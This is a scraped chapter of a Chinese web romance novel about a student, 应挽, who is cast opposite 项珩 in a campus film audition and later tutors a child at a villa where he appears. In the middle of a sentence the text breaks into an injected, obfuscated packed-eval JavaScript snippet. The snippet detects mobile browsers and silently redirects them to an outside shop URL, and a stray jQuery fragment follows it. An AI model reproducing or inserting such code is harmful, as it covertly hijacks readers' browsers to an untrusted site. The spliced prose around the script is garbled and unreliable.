文趣网 > 都市小说 > 开普勒 > 12. 女主角,男主角
    项珩挑眉,偏头看向孟子谦。他眉峰本就明显,此刻一高一低,难得显出点诧异神色。

    孟子谦脸不红心不跳,一脸坦然地看回去,脸上更是明晃晃写着六个字——

    【你难道不想吗?】

    “项珩。”白老师直接点了他的名字,“演不演。”

    他坐在椅子上往后滑了些,站起身来。

    这下,轮到老教授花白的眉毛狠狠扬了起来。

    “刚才来的路上说什么都不肯演,现在又来劲!”

    原来他们认识......

    应挽环视一周,活动室里众人皆并不惊讶,只是一脸看戏的表情。

    “搭戏而已。”他随意撑着桌子。

    “哼!”白老师从鼻腔里哼出一口气,不耐烦道,“去去,上人姑娘旁边坐着去。”

    淡淡的尼古丁味道混着绿意香气一同笼罩过来。

    应挽右眼眼皮狠狠一跳。

    仍是重复与刚才同样的流程。助理在旁边报了第一个场景。

    项珩拎起桌上的有线耳机,耳机线在他手里,分量小得像一团毛线。筋脉分明的手将缠在一起的结重新理开,将左声道那根分给了应挽。

    应挽将耳机塞进右耳,细细的耳机线传来轻微的拉扯感。

    桌上的道具经历刚才的几轮使用,已经有些杂乱。耳机线尾端被应挽无意笼在手中,此刻金属接口微微摆动,搔得掌心发痒。

    白老师手一挥,切到下一个场景。应挽利索地扯下耳机,抱了身前的书起身,退到桌子后。

    身旁没动静。

    她微微侧目,发现项珩还坐在那,正转过身子直勾勾看着自己。

    准确来说,看的是她手里的书。

    应挽低头,才发现刚才一时心急,把桌子上的两本书都抱在了怀里。

    她快速抽出上面那本递给他。

    项珩接过,慢慢走到她身后。

    应挽翻开手中的书页,垂眸摆出阅读的姿势,突然感到背后传来一阵坚实的触感。

    他的后背结结实实贴上了自己的,没留一丝缝隙。

    余光里,纪心瑶缓缓抬手捂住了大张的嘴。

    “过。”白老师手一挥。

    应挽合上书坐回椅子上。没控制住力道,活动室里先是“啪”的一声,书页合上,再是“刺啦”一声,椅子被急切拉开的动静。

    下一个场景是课堂上的小组讨论,成片里会消去声音,所以没有规定台词。应挽和前几个男生都是自由发挥。

    项珩拉开椅子款款坐下。目光相抵,她顿住了。

    今天天气怎么样,你是什么专业的,课程紧张吗,刚才随口问出的问题,不知为什么,此刻悉数堵在嗓子眼,说不出口。

    他随意从桌角抽了张白纸,推到两人中间,摘下笔帽,倾身写着什么。

    淡淡的,温热的气息覆过来。

    应挽几不可查地后仰,等他搁笔,她偏头去看。

    【家教还顺利吗?】

    端正中不失随性,看得出是经过系统训练的字体。

    应挽刚拿起笔就被打断。

    “二位,是小组讨论,不是上课传纸条。”

    四周传来细微的笑声。

    应挽心中暗恼,她抱歉地笑笑,将笔帽盖上。

    她没去看他的眼神是否还落在自己身上,只是不聚焦地盯着白纸上那一行字,那几句无聊的寒暄又开始颠来倒去在唇边翻涌。

    “上周的口语课,布置作业了吗?”沉默两秒,他先开了口。

    明知故问。

    “有。”

    他眼神里充满了好奇与期待,一派懵然无知的模样。

    “是什么?”

    “课程论文。”

    “能把要求发给我吗?”

    “已经......”

    “好了,停。”老教授立起手掌,比了个制止的姿势。

    “就到这里,剩下的不用演了。”

    应挽缓缓坐直身子。

    评委席上的同学神色各异,她没力气再去揣测他们心中的想法。

    季老师靠回椅背上,一直紧紧抱着的双臂终于松开,随意支在桌上,一脸解脱的神色。

    “项珩,演不演?”白老师又重复一遍。

    “我要是说不演,您估计现在就能把这房顶给掀了。”他耸耸肩,把方才写了字的那张白纸对折又对折,折到无法再折,便拿在手里把玩。

    “臭小子。”老人哼笑一声。

    这就是定下来了。

    “你们两个都是学生会的吧,互相有联系方式吗?”

    “有。”

    “没有。”

    低沉与清丽的声音混在一起。

    “到底有没有?就那个......”老教授发了一早上的火,此刻有些开口忘字,“......微信!你们年轻人天天用的那个。要是还没加,赶紧加上。”

    又单独点点应挽,语气少了严肃,多了些慈祥:“姑娘,你刚才有点紧绷啊,多跟他熟悉熟悉,他就摆那一副臭架子,别被他唬住喽。”

    应挽勉强抿出一抹笑,点了点头。

    项珩取了手机,点了两下屏幕,摆在桌子上,一副公事公办的模样。

    相似的画面,已经重复了第三次。

    应挽扫了码,发送申请。

    “叮。”

    即将暗下去的屏幕骤然亮起,屏幕上方弹出消息提示。

    “ava申请添加您为好友。”

    三个字母都是小写,看上去像个可爱的颜文字。

    头像是简单的手绘,一只胖乎乎的小鸟。

    项珩弯唇,点下了同意。

    试镜彻底结束,应挽收起手机,坐回自己的位置上。活动室的门在身后被打开,助理探出头去,告诉门外的男男女女不用再等。

    “怎么这样?我今天专门租了套学生制服来的,真是白花钱了!”

    “这整个走廊一个被选上的都没有,别灰心啦。”

    “那后面还会开第二场试镜吗?”

    “肯定不会了呀,你刚才没听见吗,那老师当场看中应挽了,直接定下了。”

    “......那男主呢?”

    “项珩呀!这门隔音那么差,你怎么一句也没听见?”

    “靠!嫉妒死了,居然能跟项珩一起拍摄...”

    “小声点吧你!有本事你也长那么美......”

    声音渐渐远去。

    应挽往电脑里敲着最终确认的演员名单,眼睛轻眨,手里的动作没停。

    她把文件传到季老师的邮箱,合了电脑,挽着纪心瑶向外走。

    “应挽。”

    他声音不大,但听得很清晰。

    应挽慢慢转身。

    项珩脖子上多了条灰色薄围巾。孟子谦站在他身边,脸上带着些笑意。

    “一起吃午饭?你室友也一起。”

    纪心瑶有些期待地看向应挽。

    “不用了,我们出去吃。”

    “正好,我们也出去。”项珩似乎嫌热,又把围巾扯了下来,“下午不是要去家教?我顺路,送你去。”

    “不用了。”应挽拉了拉纪心瑶的胳膊,发现拉不动,她用了点力,握着她手腕抬步,还不忘回头补了句谢谢。

    “哎——”纪心瑶还发着呆,不由自主被应挽拖着出了门。

    孟子谦看着空荡荡的门口,忍不住噗嗤笑出了声,他撞撞项珩的肩膀:“你这可真是吃力不讨好的典范啊,我看你活了二十多年,碰的壁还没这一个月多呢吧。”

    说完,他又掐掐指头:“哦,还不到一个月。”

    “再说就你请客。”

    孟子谦后背结结实实挨了一巴掌,他骂了句脏话,转头想要算账,却发现身侧空空荡荡,给巴掌那人早就挽着围巾消失在门后了。

    -

    三个姑娘已经提前约好,如果文嘉试镜顺利,中午就一起出去聚餐。

    打开寝室群,文嘉已经在里面发了餐厅的位置。

    A大的地理位置好,附近就有商业综合体。

    从走出拓新楼开始,纪心瑶的话音轰炸没有停下一秒。

    “阿挽,你不知道,项珩在你旁边坐下那一刻,整个屋子里的人眼睛全亮了。”纪心瑶两只手的手指一张一张的,模拟眼镜眨巴的动作,亮闪闪的美甲撞在一起,发出清脆的声响。

    “你别夸张了。”

    “哪有夸张!你不信我,你总得信白老师吧!要是当时有人误闯进去,估计还以为进了哪个拍摄片场呢。”

    “...我说不过你。”应挽松开纪心瑶的手,加快脚步往前走。

    “好啦好啦,我不说了。”纪心瑶追上来,紧紧挽住应挽的胳膊。

    “阿挽,那你老实告诉我,你跟项珩...”纪心瑶的脑袋凑过来,蓬松的头发扫在应挽的脸颊上,“到哪一步了啊?”

    “你说了不说的。”应挽把她的脑袋推开。

    “这不是和试镜没关系嘛。”纪心瑶玩起文字游戏,嘿嘿干笑了两声。

    应挽叹了口气:“我跟他没关系。”

    纪心瑶突然松开她的手臂,停在原地不走了。她眉头皱到一起,露出一种极其荒谬的神色。

    “......怎么了?”

    “阿挽,”纪心瑶瞪大了眼睛,好似听到了什么惊天笑话,“我眼睛还没瞎。”

    ......

    文嘉已经在商场里等着了,三个姑娘一起进了餐厅落座。

    应挽翻动着菜单,听纪心瑶向文嘉天花乱坠地描述她离开后的试镜场面,无声长出一口气,单手撑起额头。

    文嘉已经换上了黑框眼镜,听说女主角是应挽,她露齿一笑。

    “为你开心!其实我当时看见走廊上那些同学,就觉得还是你最合适。”

    “谢谢文嘉。”应挽合上菜谱,勾了些笑容。

    午餐在纪心瑶的滔滔不绝中结束。搁下筷子,纪心瑶主动请缨去结账,理由是给两位“演员”庆贺。

    “千万不要转账给我啊。”纪心瑶煞有介事地做了个捂住口袋的动作,抓起手机去了结账台。

    等待的间隙,应挽翻着手机发呆,忽的,身后传来一阵高跟鞋的脆响,随之而来的,是淡淡的茉莉花香。

    应挽偏头看去,一男一女被引导着走向了靠窗的座位。

    她静静看着女生的侧脸,在心中回忆她的名字。

    秦冉。

    秦冉没有靠在椅背上,而是端正挺拔地坐着,肩颈连成一条漂亮的线,嘴角勾着恰到好处的微笑,对面男生说了句什么,她肩膀抖动,这才放松地笑了出来。

    应挽看了一会儿,默默收回了视线。

    -

    出了餐厅,应挽与两个姑娘分别,坐上了地铁。

    从出站口出来,她看了眼时间,快步向别墅区走着。很快,四周安静下来,只剩鞋底敲击地砖发出的沉闷声响。

    手机震动一声,应挽解锁屏幕。

    刚刚加上微信,那人的名字还停在列表的第一位。应挽点开对话框,默认的验证消息下面,加载出两条新内容。

    【带包薯片来?沐沐吵着要吃。】

    后面跟了个薯片外包装的图片。

    应挽脚步一顿。

    便利店在地铁口旁边,现在折回去,再走到别墅区,一定会赶不上约好的上课时间。

    对面仿佛心有所感一般,手机又微微一震。

    【迟到了不扣工资,放心吧。】

    应挽回了个好,按灭手机,折返回去。

    按响大门的门铃时,应挽周身已经出了些汗。她将外套脱下,挽在臂弯里。

    管家很快来开了门。

    应挽一眼就看到了沙发里的男生。他懒洋洋地窝在靠背和扶手的折角处,没什么坐相,沐沐正坐在他大腿上,手里摆弄着她心爱的芭比娃娃。

    听见门口的动静,沐沐欣喜地拿着迷你小梳子抬头:“姐姐!”

    应挽柔声回应。

    “沐沐,说了多少次,要叫应老师。”女主人坐在一旁的单人椅上,语气中虽带了点怒意,却仍宠溺地笑着。

    “不要嘛,叫老师太显老啦!”沐沐从项珩腿上滑下来。

    女主人有些抱歉地看向应挽,应挽笑着摇摇头,走到沙发旁蹲下。

    “沐沐,去上课了,姐姐给你带了零食。”

    “姐姐最好啦~”小姑娘亲呢地依偎过来。

    应挽将她从地上拉了起来,牵着她的手上了二楼。

    “哥哥,你不要走......”沐沐依依不舍地趴在栏杆上向下望,“等我下课了,再陪我玩好不好?”

    “好,哥哥不走。”

    应挽跟着她停下脚步。向下望去,男生从沙发里站起身,理了理刚才被女孩压到的衣角,双臂交叉着抬起头。平日里漫不经心的一双眼此刻微微弯起,隔着十几级台阶,温柔望过来。

    应挽移开视线。

    今天上课,沐沐格外躁动,总是听着听着就答非所问,神游天外。

    终于熬到课间休息,沐沐煞有介事地把椅子拉得很近,小脸凑到应挽耳边。

    “怎么了?应挽看着她紧张兮

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632695|206443||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    兮的模样,觉得很可爱。

    “我要小声一点,妈妈不让我说这些。”

    暖暖的热气扑在应挽的耳朵上,有些发痒。

    “姐姐,你是项珩哥哥的......嗯......女朋友吗?”

    小姑娘停顿半天,似乎是想不起来称谓的名字。

    笑意停顿在应挽脸上。

    今天是怎么了,先是心瑶,再是这个不到十岁的孩子。

    “为什么会这么问?”应挽握着女孩的肩膀,将她微微拉开。

    “因为我刚才偷偷看见,哥哥给你发微信呀。”她的手刚松开,小姑娘又紧紧挨过来,“我以前偷听过我亲哥哥和他女朋友打电话,他说,他只给她发微信,其他女生问他要微信,他都不给的!”

    应挽心里一松,忍不住轻声笑了出来。

    “我不是下面那个哥哥的......女朋友。”

    “可是你们看起来很般配哎,就像书里的王子和公主一样。”小朋友飞速接受了应挽的话,脑筋已经拐到了下一个回路。

    “不是所有看起来般配的人,都会在一起的。”她摸摸沐沐的头发。

    应挽看着桌角摆着的相框,一家四口穿着漂亮的礼服,看上去那样幸福美满。

    她眼神望向窗外漫天飘着的杨絮,轻飘飘的,若无所依。

    母亲和父亲,曾经看上去金童玉女般的两个人,最终不也落得一个死生不复相见的下场。

    -

    终于捱到下课,沐沐欢呼一声,小跑着拉开书房的门。

    “哥哥!”她哒哒跑下楼梯,“陪我去后院玩!”

    项珩正与女主人轻声交谈着,他闻言起身,到楼梯下稳稳接住了飞扑过来的小女孩。

    “走喽!”他轻松单手托起沐沐,将她往上颠了颠,唤了声地上无聊的大金毛,在沐沐稚气发号的指令下,小跑着出了偏门。

    两人一狗带起一阵热闹的声响,门打开又缓缓闭合,电子锁落下,发出细微的轻响,客厅重返一片寂静。

    女主人望过来:“一起去玩吧,草坪刚刚翻新过,走起来舒服得很。”

    应挽将手里的单肩包放回沙发上,把提前结束的话咽了回去。

    她轻点头,出了门。

    日头从最高点降下,斜斜挂在天上,将世间的一切照地鲜亮明媚。不远处,男生将飞盘用力扔出去,大狗咧着嘴,拔腿去追,身上蓬松柔顺的毛发被阳光染成亮滑的金黄色,随着奔跑的起伏掀起波浪。小姑娘在一旁蹦蹦跳跳,裙摆随风轻轻扬起,稚嫩的笑声在空旷的天地间回荡。

    应挽站在台阶上,突然觉得眼前的场景很不真实,让她回忆起中学时在纪录片里看过的英国庄园,或是童年在被窝里熬夜看小说时,根据那些华丽的文字幻想出的景象。

    奢侈得不真实,也幸福得不真实。

    脚步声由远及近,项珩迎着日光走过来。他今天穿了件灰色的连帽卫衣,抽绳在身前一摆一摆的,发丝被太阳镀了层金光。应挽能清晰无比地看到他脑门儿上冒出的细汗,还有那双浸了水一般黑亮的眼。

    他带着金毛跑了半天,此刻还微喘着气:“去玩一会儿吧。”

    他将飞盘和狗狗零食递过来。

    “嗯。”应挽接过,迈下台阶,走进柔软的草坪中。

    其实,应挽是有些怕狗的。小时候在老家,被邻居家的大黑狗追了一整条街,在水泥路上跌了个大跟头,膝盖印上了一块硬币大小的疤。

    外婆心疼的不行,找上邻居家理论。从此,应挽再没见过那只狗。

    金毛已经乖乖坐在小姑娘身边等着。应挽熟能生巧地将飞盘扔出去,大狗不知疲倦一般,腾跃而起,飞奔出去。

    没几秒,金毛叼着飞盘跑回来,骄傲地昂起头。应挽在掌心倒了两粒零食,送到它毛茸茸的嘴边。掌心传来湿滑温热的触感,应挽忍不住瑟缩了一下,还是轻轻抚了抚它头顶柔软的毛。

    她想起第一次来面试时,门一打开,一米多长的大狗猝不及防地扑向她,呼哧呼哧的热气直直喷过来。

    当时她僵在原地,面上不动声色,后背早已渗出一层冷汗。

    旁边断断续续有隐约的咔嚓声,沐沐把最近的新宠相机也带了出来。她跑到应挽身边,软软道:“姐姐你看,我给你拍了好多漂亮的照片。”

    小手滑动着滚轮,照片一张张往回倒。

    应挽很少拍照,相册里存着的照片,多是严肃板正的证件照或者合照。她看着小小屏幕里自己亮晶晶的瞳,浅浅勾起的唇角,还有阳光下接近浅栗色的发丝,心中好似被猫轻轻挠了一下。

    滚轮往前翻,切到项珩的照片,他肢体与神情都完全舒展开,看上去像......一只矫健的猎犬,或者一匹飞奔的赛马。应挽努力联想一个恰当的比喻。

    ......

    又玩了二十分钟,沐沐累了,应挽带她朝草坪角落走去。

    挺拔的黑松伸出一团团针叶,投下大片阴影。远远地,她隐约看见树荫下随意躺着的身影。

    “哥哥睡着啦。”走近了些,沐沐小声和她耳语。

    金毛似乎也听懂了主人的话,呼哧声都放轻了些。

    应挽轻手轻脚地坐下。她慢慢调整着姿势,手掌一并撑在柔软微凉的草丛上,重心不由倾斜。发丝无声从背后滑落,随风轻轻拂动,离他的脸孔只剩咫尺的距离。

    男生双手随意枕在脑后,头微微向她这边倾斜着,眉目舒展,长睫垂落,掩住了平日里或调侃或真挚的深眸,带了些孩子气。

    倾斜的日光穿过枝叶的缝隙,影影绰绰落在他身上,脸上。

    他眼下泛着淡淡的青黑。

    应挽想起早上试镜时,他身上的烟草气味。

    刚才在楼上,沐沐悄悄在自己耳边说,哥哥最近好像很累。

    “我听妈妈说,是项大哥在公司,粗心犯了很大的错,把项爷爷气到住院了。”小姑娘倚着应挽,一脸不开心,“从那以后,哥哥就总是往医院和公司跑,都没怎么来陪过我了。”

    应挽垂着眸,回忆起上周末,几门课的老师都点了名,他的名字之后永远是一片寂静。

    连着两个周末,他都没有来上课。

    夕阳缓缓西沉,微风慢慢夹杂了些许凉意。松针随风而动,发出细微的沙沙声。

    “看傻了?”

    低沉缱绻的声音,还夹杂着点久未说话的干涩。

    应挽从回忆里惊醒,猛地抬眸——

    不知什么时候,方才睡梦中的人掀开了眼睫。安静的气质退去,那双眼又重新带上标志性的笑意,不偏不倚地望过来。